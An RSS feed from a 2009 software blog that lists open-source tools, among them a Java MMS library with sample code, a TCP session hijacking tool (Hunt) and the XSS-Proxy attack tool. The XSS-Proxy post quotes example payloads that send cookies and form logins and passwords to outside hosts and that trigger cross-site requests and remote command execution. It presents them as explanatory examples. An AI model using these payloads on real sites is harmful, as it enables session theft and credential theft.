<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><!-- generator="wordpress/2.3.3" --><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" version="2.0">

<channel>
	<title>twit88.com</title>
	<link>http://twit88.com/blog</link>
	<description>New SMS Library at http://twit88.com/platform/projects/show/messagingtoolkit !</description>
	<pubDate>Sun, 08 Nov 2009 05:21:27 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.3.3</generator>
	<language>en</language>
			<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" href="http://feeds.feedburner.com/thoughtworks" type="application/rss+xml" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com" /><item>
		<title>Open Source UML and Code Generator</title>
		<link>http://twit88.com/blog/2009/11/07/open-source-uml-and-code-generator/</link>
		<comments>http://twit88.com/blog/2009/11/07/open-source-uml-and-code-generator/#comments</comments>
		<pubDate>Sun, 08 Nov 2009 05:21:27 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[open source]]></category>

		<guid isPermaLink="false">http://twit88.com/blog/2009/11/07/open-source-uml-and-code-generator/</guid>
		<description><![CDATA[Acceleo is a code generator transforming models into code (MDA approach). 
Acceleo is easy to use. It provides &#34;off the shelf&#34; generators (JEE, .Net, Php&#8230;) and template editors for Eclipse. 
 
Acceleo is natively integrated with eclipse. It is completely merged with its interface for better efficiency and user experience. 
Acceleo provides many features for [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.acceleo.org/pages/home/en">Acceleo</a> is a <strong>code generator </strong>transforming models into code (MDA<a href="http://www.acceleo.org/pages/mda-and-acceleo/en"> </a>approach). </p>
<p>Acceleo is easy to use. It provides &quot;off the shelf&quot; generators (<strong>JEE, .Net, Php&#8230;</strong>) and <strong>template editors</strong> for Eclipse. </p>
<p><a href="http://twit88.com/blog/wp-content/uploads/2009/11/image.png"><img title="image" style="border-top-width: 0px; display: inline; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="335" alt="image" src="http://twit88.com/blog/wp-content/uploads/2009/11/image-thumb.png" width="444" border="0" /></a> </p>
<p>Acceleo is natively integrated with eclipse. It is completely merged with its interface for better efficiency and user experience. </p>
<p>Acceleo provides many features for template editing </p>
<ul>
<li>syntax highligthing </li>
<li>meta-model and scripts based completion </li>
<li>real time error detection </li>
<li>real time preview </li>
</ul>
<p>Acceleo is based on the main industry standards to guarantee high level compatibility, interoperability and durability.</p>
<p>Acceleo is especially compatible with XMI 1.x and XMI 2, ensuring compatiblity with the main UML modelers on the market (RSM, Together, Poseidon, &#8230;).</p>
]]></content:encoded>
			<wfw:commentRss>http://twit88.com/blog/2009/11/07/open-source-uml-and-code-generator/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Open Source Church Software</title>
		<link>http://twit88.com/blog/2009/11/07/open-source-church-software/</link>
		<comments>http://twit88.com/blog/2009/11/07/open-source-church-software/#comments</comments>
		<pubDate>Sun, 08 Nov 2009 05:15:20 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[open source]]></category>

		<guid isPermaLink="false">http://twit88.com/blog/2009/11/07/open-source-church-software/</guid>
		<description><![CDATA[Datasoul&#160; is an open source presentation software to display lyrics and text in churches services. 
 
Datasoul keeps lyrics and display format independently. This means that when you want to change the font format or the background image, you don&#8217;t need to change tons of files. Take a look on how easy it is in [...]]]></description>
			<content:encoded><![CDATA[<h6><a href="http://www.datasoul.net/">Datasoul</a>&#160; is an open source presentation software to display lyrics and text in churches services. </h6>
<p><a href="http://twit88.com/blog/wp-content/uploads/2009/11/ss-mac1.jpg"><img title="ss_mac1" style="border-right: 0px; border-top: 0px; display: inline; border-left: 0px; border-bottom: 0px" height="338" alt="ss_mac1" src="http://twit88.com/blog/wp-content/uploads/2009/11/ss-mac1-thumb.jpg" width="450" border="0" /></a> </p>
<p>Datasoul keeps lyrics and display format independently. This means that when you want to change the font format or the background image, you don&#8217;t need to change tons of files. Take a look on how easy it is in Datasoul.</p>
<p>Beside the lyrics, Datasoul can also hold the chords for the songs. In this way, once you have selected the songs to next service you can easily retrieve the chords for that songs to print or send to the musicians.</p>
<p>In most churches, usually you need to display some announcements during the services. It&#8217;s a baby crying on the nursery or a car wrongly parked, something always happen. Know how Datasoul handles this situations.</p>
<p>Several churches use video cameras to record or transmit live images form the service. Datasoul can integrate in these systems and provide an effective solution for displaying lyrics.</p>
<p>Do you have all your songs in EasyWorship? There is an import tool available that converts it into Datasoul format. Once imported, you can also take your database to another operational system such as Linux or MacOS. <a href="http://www.datasoul.net/import_en.php"></a></p>
]]></content:encoded>
			<wfw:commentRss>http://twit88.com/blog/2009/11/07/open-source-church-software/feed/</wfw:commentRss>
		</item>
		<item>
		<title>A Useful Windows File Manager</title>
		<link>http://twit88.com/blog/2009/11/06/a-useful-windows-file-manager/</link>
		<comments>http://twit88.com/blog/2009/11/06/a-useful-windows-file-manager/#comments</comments>
		<pubDate>Sat, 07 Nov 2009 04:52:13 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[open source]]></category>

		<guid isPermaLink="false">http://twit88.com/blog/2009/11/06/a-useful-windows-file-manager/</guid>
		<description><![CDATA[Qmmander is an open source filemanager with splitscreen filehandling like the widely known &#34;Norton Commander&#34; which was likely the force behind the development of all the filemanagers out there with a &#34;Commander&#34; in their names. 
Qmmander is written in C++ and uses Qt, a cross-platform application and GUI framework from Nokia.

]]></description>
			<content:encoded><![CDATA[<p><a href="http://code.google.com/p/qmmander/">Qmmander</a> is an open source filemanager with splitscreen filehandling like the widely known <i>&quot;Norton Commander&quot;</i> which was likely the force behind the development of all the filemanagers out there with a <i>&quot;Commander&quot;</i> in their names. </p>
<p>Qmmander is written in C++ and uses <strong></strong><strong><a href="http://qt.nokia.com/">Qt</a></strong>, a cross-platform application and GUI framework from Nokia.</p>
<p><a href="http://twit88.com/blog/wp-content/uploads/2009/11/qmmander.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="qmmander" border="0" alt="qmmander" src="http://twit88.com/blog/wp-content/uploads/2009/11/qmmander-thumb.png" width="454" height="341" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://twit88.com/blog/2009/11/06/a-useful-windows-file-manager/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Java MMS Library</title>
		<link>http://twit88.com/blog/2009/11/06/java-mms-library/</link>
		<comments>http://twit88.com/blog/2009/11/06/java-mms-library/#comments</comments>
		<pubDate>Sat, 07 Nov 2009 04:48:57 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Java]]></category>

		<guid isPermaLink="false">http://twit88.com/blog/2009/11/06/java-mms-library/</guid>
		<description><![CDATA[I just release the Java MMS library. It is a library that can be used to encode or decode MMS message. The encoded MMS can then be sent out using MM1 or MM7 protocol. To use MM1 protocol, you need a GPRS/3G modem or GPRS/3G phone. For MM7, you need a connection to MMSC.
A simple [...]]]></description>
			<content:encoded><![CDATA[<p>I just release the <a href="http://twit88.com/platform/projects/show/mt-mms">Java MMS library</a>. It is a library that can be used to encode or decode MMS message. The encoded MMS can then be sent out using MM1 or MM7 protocol. To use MM1 protocol, you need a GPRS/3G modem or GPRS/3G phone. For MM7, you need a connection to MMSC.</p>
<p>A simple sample is provided to show how to use it together with <a href="http://jwap.sourceforge.net/">jWAP</a> to send out MMS using MM1 protocol.</p>
<div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">
<div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px">
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> WAPClient wapClient = <span style="color: #0000ff">new</span> WAPClient(wapGatewayHost, wapGatewayPort);</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060">   2:</span> PostRequest request = <span style="color: #0000ff">new</span> PostRequest(servlet);</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060">   3:</span> request.setContentType(<span style="color: #006080">&quot;application/vnd.wap.mms-message&quot;</span>);</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060">   4:</span> request.setRequestBody(encodedMms);</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060">   5:</span>&#160; </pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060">   6:</span> System.<span style="color: #0000ff">out</span>.println(<span style="color: #006080">&quot;Connecting to \&quot;&quot;</span> + wapGatewayHost + <span style="color: #006080">&quot;\&quot;:&quot;</span> + wapGatewayPort + <span style="color: #006080">&quot;&#8230;&quot;</span>);</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060">   7:</span> wapClient.connect();</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060">   8:</span>&#160; </pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060">   9:</span> System.<span style="color: #0000ff">out</span>.println(<span style="color: #006080">&quot;Sending mms message through \&quot;&quot;</span> + servlet + <span style="color: #006080">&quot;\&quot;&#8230;&quot;</span>);</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060">  10:</span> Response response = wapClient.execute(request);</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060">  11:</span> <span style="color: #0000ff">byte</span>[] binaryMms = response.getResponseBody();</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060">  12:</span> wapClient.disconnect();</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060">  13:</span> <span style="color: #0000ff">try</span> {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060">  14:</span>     MultimediaMessageDecoder dec = <span style="color: #0000ff">new</span> MultimediaMessageDecoder(binaryMms);</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060">  15:</span>     dec.decodeMessage();</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060">  16:</span>     MultimediaMessage message = dec.getMessage();</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060">  17:</span>&#160; </pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060">  18:</span>     System.<span style="color: #0000ff">out</span>.println(<span style="color: #006080">&quot;Status: &quot;</span> + response.getStatus());</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060">  19:</span>     System.<span style="color: #0000ff">out</span>.println(<span style="color: #006080">&quot;Status Text: &quot;</span> + response.getStatusText());</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060">  20:</span>&#160; </pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060">  21:</span>     <span style="color: #0000ff">if</span> (response.getStatus() == 200) {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060">  22:</span>         System.<span style="color: #0000ff">out</span>.println(<span style="color: #006080">&quot;Message id: &quot;</span> + message.getMessageId());</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060">  23:</span>         System.<span style="color: #0000ff">out</span>.println(<span style="color: #006080">&quot;Message sent!&quot;</span>);</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060">  24:</span>     } <span style="color: #0000ff">else</span> {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060">  25:</span>         System.<span style="color: #0000ff">out</span>.println(<span style="color: #006080">&quot;Message is not sent&quot;</span>);</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060">  26:</span>     }</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060">  27:</span>&#160; </pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060">  28:</span> } <span style="color: #0000ff">catch</span> (Exception e) {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060">  29:</span>     System.<span style="color: #0000ff">out</span>.println(e.getMessage());</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060">  30:</span> }</pre>
</p></div>
</div>
]]></content:encoded>
			<wfw:commentRss>http://twit88.com/blog/2009/11/06/java-mms-library/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Closure Tools from Google</title>
		<link>http://twit88.com/blog/2009/11/06/closure-tools-from-google/</link>
		<comments>http://twit88.com/blog/2009/11/06/closure-tools-from-google/#comments</comments>
		<pubDate>Fri, 06 Nov 2009 08:27:27 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[open source]]></category>

		<guid isPermaLink="false">http://twit88.com/blog/2009/11/06/closure-tools-from-google/</guid>
		<description><![CDATA[Google Closure tools help developers to build rich web applications with JavaScript that is both powerful and efficient. The Closure tools include:
A JavaScript optimizer
The Closure Compiler compiles JavaScript into compact, high-performance code. The compiler removes dead code and rewrites and minimizes what&#8217;s left so that it downloads and runs quickly. It also also checks syntax, [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://code.google.com/closure/">Google Closure tools</a> help developers to build rich web applications with JavaScript that is both powerful and efficient. The Closure tools include:</p>
<h5>A JavaScript optimizer</h5>
<p>The <a href="http://code.google.com/closure/compiler/">Closure Compiler</a> compiles JavaScript into compact, high-performance code. The compiler removes dead code and rewrites and minimizes what&#8217;s left so that it downloads and runs quickly. It also also checks syntax, variable references, and types, and warns about common JavaScript pitfalls. These checks and optimizations help you write apps that are less buggy and easier to maintain. You can use the compiler with Closure Inspector, a Firebug extension that makes debugging the obfuscated code almost as easy as debugging the human-readable source. </p>
<h5>A comprehensive JavaScript library</h5>
<p>The <a href="http://code.google.com/closure/library/">Closure Library</a> is a broad, well-tested, modular, and cross-browser JavaScript library. You can pull just what you need from a large set of reusable UI widgets and controls, and from lower-level utilities for DOM manipulation, server communication, animation, data structures, unit testing, rich-text editing, and more. </p>
<p>The Closure Library is server-agnostic, and is intended for use with the Closure Compiler. </p>
<h5>An easy templating system for both Java &amp; JavaScript</h5>
<p><a href="http://code.google.com/closure/templates/">Closure Templates</a> simplify the task of dynamically generating HTML. They have a simple syntax that is natural for programmers. In contrast to traditional templating systems, in which you use one big template per page, you can think of Closure Templates as small components that you compose to form your user interface. </p>
<p>Closure Templates are implemented for both JavaScript and Java, so that you can use the same templates on both the server and client side. For the client side, Closure Templates are precompiled into efficient JavaScript. </p>
]]></content:encoded>
			<wfw:commentRss>http://twit88.com/blog/2009/11/06/closure-tools-from-google/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Open Source TCP Session Hijacking Tool</title>
		<link>http://twit88.com/blog/2009/10/27/open-source-tcp-session-hijacking-tool/</link>
		<comments>http://twit88.com/blog/2009/10/27/open-source-tcp-session-hijacking-tool/#comments</comments>
		<pubDate>Tue, 27 Oct 2009 09:03:01 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[hacking]]></category>

		<category><![CDATA[open source]]></category>

		<guid isPermaLink="false">http://twit88.com/blog/2009/10/27/open-source-tcp-session-hijacking-tool/</guid>
		<description><![CDATA[Hunt is a tool for exploiting well known weaknesses in TCP/IP protocol. Use primarily to hijack connections, but has many other features.
Hunt is a program for intruding into a connection, watching it and resetting it. Hunt operates on Ethernet and is best used for connections which can be watched through it. However, it is possible [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.packetstormsecurity.org/sniffers/hunt/">Hunt</a> is a tool for exploiting well known weaknesses in TCP/IP protocol. Use primarily to hijack connections, but has many other features.</p>
<p>Hunt is a program for intruding into a connection, watching it and resetting it. Hunt operates on Ethernet and is best used for connections which can be watched through it. However, it is possible to do something even for hosts on another segments or hosts that are on switched ports. Hunt doesn&#8217;t distinguish between local network connections and connections going to/from Internet. It can handle all connections it sees. Connection hijacking is aimed primarily at the telnet or rlogin traffic but it can be used for another traffic too. Features: connection management (watching, spoofing, detecting, hijacking, resetting), daemons (resetting, arp spoof/relayer daemon, MAC discovery daemon for collecting MAC addresses, sniff daemon for logging TCP traffic), host resolving, packet engine (TCP, UDP, ICMP and ARP traffic; collecting TCP connections with sequence numbers and the ACK storm detection), switched environment (hosts on switched ports can be spoofed, sniffed and hijacked too). This latest release includes lots of debugging and fixes in order to get the hunt running against hosts on switched ports, timejobs, dropping IP fragments, verbose status bar, options, new connection indicator, various fixes.</p>
]]></content:encoded>
			<wfw:commentRss>http://twit88.com/blog/2009/10/27/open-source-tcp-session-hijacking-tool/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Cross Site Scripting Attack Tool</title>
		<link>http://twit88.com/blog/2009/10/27/cross-site-scriptig-attack-tool/</link>
		<comments>http://twit88.com/blog/2009/10/27/cross-site-scriptig-attack-tool/#comments</comments>
		<pubDate>Tue, 27 Oct 2009 08:03:06 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[hacking]]></category>

		<category><![CDATA[open source]]></category>

		<guid isPermaLink="false">http://twit88.com/blog/2009/10/27/cross-site-scriptig-attack-tool/</guid>
		<description><![CDATA[XSS-Proxy is an advanced Cross-Site-Scripting (XSS) attack tool.
Types of information leakage due to XSS attack
1. Client can reveal cookies to 3rd party (session state, order info, etc)

http://host/a.php?variable=&#34;&#62;&#60;script&#62;document.location=&#8217;http://www.cgisecurity.com/cgi-bin/cookie.cgi?document.location=&#8217;http://www.cgisecurity.com/cgi-bin/cookie.cgi&#34;&#62;http://host/a.php?variable=&#34;&#62;&#60;script&#62;document.location=&#8217;http://www.cgisecurity.com/cgi-bin/cookie.cgi?        &#8216;%20+document.cookie&#60;/script&#62;

2. Client can reveal posted form items to 3rd party (userID/passwd, etc)

&#60;form&#62; action=&#34;logoninformation.jsp&#34; method=&#34;post&#34; onsubmit=&#34;hackImg=new Image; hackImg.src=&#8217;http://www.malicioussite.com/&#8217;+document.forms(1).login.value&#8217;+':&#8217;+ document.forms(1).password.value;&#34; &#60;/form&#62;

3. Client can [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://xss-proxy.sourceforge.net/">XSS-Proxy</a> is an advanced Cross-Site-Scripting (XSS) attack tool.</p>
<p>Types of information leakage due to XSS attack</p>
<blockquote><p>1. Client can reveal cookies to 3rd party (session state, order info, etc)</p>
</blockquote>
<blockquote><p><em>http://host/a.php?variable=&quot;&gt;&lt;script&gt;document.location=&#8217;http://www.cgisecurity.com/cgi-bin/cookie.cgi?document.location=&#8217;http://www.cgisecurity.com/cgi-bin/cookie.cgi&quot;&gt;http://host/a.php?variable=&quot;&gt;&lt;script&gt;document.location=&#8217;http://www.cgisecurity.com/cgi-bin/cookie.cgi</em><em>?        <br />&#8216;%20+document.cookie&lt;/script&gt;</em></p>
</blockquote>
<blockquote><p>2. Client can reveal posted form items to 3rd party (userID/passwd, etc)</p>
</blockquote>
<blockquote><p><em>&lt;form&gt; action=&quot;logoninformation.jsp&quot; method=&quot;post&quot; onsubmit=&quot;hackImg=new Image; hackImg.src=&#8217;http://www.malicioussite.com/&#8217;+document.forms(1).login.value&#8217;+':&#8217;+ document.forms(1).password.value;&quot; &lt;/form&gt;</em></p>
</blockquote>
<blockquote><p>3. Client can be tricked into accessing/posting spoofed info to trusted server</p>
</blockquote>
<blockquote><p><em>http://www.trustedserver.com/xss.asp?name&quot;&gt;www.trustedserver.com/xss.asp?name</em><em> = &lt;iframe        <br />src=http://www.trustedserver.com/auth_area/orderupdate?items=4000&gt;&lt;/iframe&gt; </em></p>
</blockquote>
<blockquote><p>4. Client can be tricked into attacking other sites</p>
</blockquote>
<blockquote><p><em>/hello.asp?name = &lt;iframe        <br />src=http://vuln.iis.server/scripts/root.exe?/c+dir&gt;&lt;/iframe&gt;</em></p>
</blockquote>
]]></content:encoded>
			<wfw:commentRss>http://twit88.com/blog/2009/10/27/cross-site-scriptig-attack-tool/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Open Source MMS Library</title>
		<link>http://twit88.com/blog/2009/10/26/open-source-mms-library/</link>
		<comments>http://twit88.com/blog/2009/10/26/open-source-mms-library/#comments</comments>
		<pubDate>Tue, 27 Oct 2009 02:51:32 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[open source]]></category>

		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://twit88.com/blog/2009/10/26/open-source-mms-library/</guid>
		<description><![CDATA[Mmslib is a PHP library for encoding and decoding MMS:es. MMS is short for Multimedia Messaging Service. In short it is the successor of SMS (Short Message Service) with the enhancements that you can not only send text but basically any content type your phone can handle such as images, text, videos, ring signals and [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://hellkvist.org/software/">Mmslib</a> is a PHP library for encoding and decoding MMS:es. MMS is short for Multimedia Messaging Service. In short it is the successor of SMS (Short Message Service) with the enhancements that you can not only send text but basically any content type your phone can handle such as images, text, videos, ring signals and audio clips. </p>
